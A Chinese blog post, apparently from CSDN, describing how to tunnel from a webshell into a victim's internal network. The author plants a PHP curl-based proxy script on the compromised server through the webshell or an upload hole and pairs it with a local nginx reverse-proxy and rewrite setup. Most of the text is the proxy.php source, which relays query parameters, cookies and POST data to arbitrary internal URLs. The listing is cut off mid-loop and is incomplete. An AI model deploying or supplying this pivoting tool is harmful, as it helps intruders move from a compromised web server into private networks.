用Webshell直接杀入内网

在没有外网端口、无法执行命令反弹的情况下,仅有一个webshell要进入内网,可以通过PHP+nginx建立反向代理实现。介绍了一个简单的PHP代理脚本和本地nginx配置方法,但此代理仅支持GET/POST,不支持文件上传,可能存在一些识别问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。
鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。
然后配置一下本地的nginx,做一个反向代理+rewrite就OK。

先看代码
proxy.php

<?php 
if(!isset($_GET['url'])){ 
  exit(0); 
} 
$ch = curl_init(); 
$url=$_GET['url']; 
if(strstr($url,'?')){ 
  $url.='&'; 
} 
else{ 
  $url.='?'; 
} 
unset($_GET['url']); 
foreach($_GET as $Key=>$Val){ 
  if(get_magic_quotes_gpc()){ 
    $Val=stripslashes($Val); 
  } 
  $url=$url.'&'.$Key.'='.urlencode($Val); 
} 
$cookie=''; 
foreach($_COOKIE as $Key=>$Val){ 
  if(get_magic_quotes_gpc()){ 
    $Val=stripslashes($Val); 
  } 
  $cookie=$cookie.$Key.'='.urlencode($Val).'; '; 
} 
if($_SERVER['REQUEST_METHOD']=="POST"){ 
  curl_setopt($ch, CURLOPT_POST, 1); 
  $post_data=''; 
  foreach($_POST as $Key=>$Val
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值